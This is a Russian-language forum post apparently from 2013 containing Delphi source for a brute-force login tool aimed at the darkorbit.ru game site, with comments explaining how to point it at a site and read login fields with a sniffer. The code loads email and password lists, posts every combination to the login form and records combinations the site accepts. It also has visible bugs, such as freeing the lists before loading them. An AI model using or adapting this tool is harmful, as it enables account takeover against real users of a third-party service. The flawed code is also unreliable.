var
Form1: TForm1;
emails,pass:tstringlist; // список ников и паролей
j,i:integer;
ssylka,result:string; //думаю тут все
post:tstringlist; //понятно
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
emails:=TStringList.Create;
OpenDialog1.InitialDir:=ExtractFilePath(Applicatio n.ExeName);
if OpenDialog1.Execute then
begin
eMails.LoadFromFile(OpenDialog1.FileName);
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
pass:=TStringList.Create;
OpenDialog1.InitialDir:=ExtractFilePath(Applicatio n.ExeName);
if OpenDialog1.Execute then
emails.Free;
pass.Free;
begin
Pass.LoadFromFile(OpenDialog1.FileName);
end;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
ssylka:='http://www.darkorbit.ru/?locale=ru&aid=0'; //здесь указываем ссылку на сайт который будем брутить
post:=tstringlist.Create; // создаем лист
for i:=0 to emails.Count-1 do begin // проверяем,формируем
post.Clear;
post.Add('loginForm_default_username='+emails[i]); //сниффером смотрим наши значения авторизации
for j:=0 to pass.Count-1 do begin // проверяем,формируем
post.Add('loginForm_default_password='+pass[j]);
post.Add('loginForm_default_login_submit=Вход');
result:=form1.idhttp1.Post(ssylka,post); //присваиваем пост запрос
if pos('selectInstanceHint',result)<>0 then //если программа спарсит значения 'selectInstanceHint' то мы что то збрутили
form1.Memo1.Lines.Add(PChar('Логин:'+Emails.String s[i]+' Пароль:'+Pass.Strings[j]));
end;
end;
end;
end.
Последний раз редактировалось crazy5king; 09.01.2013 в 12:33.
Причина: Добавлено сообщение
Регистрация: 08.01.2013
Сообщений: 0
Популярность: 10
Сказал(а) спасибо: 0
Ошибка
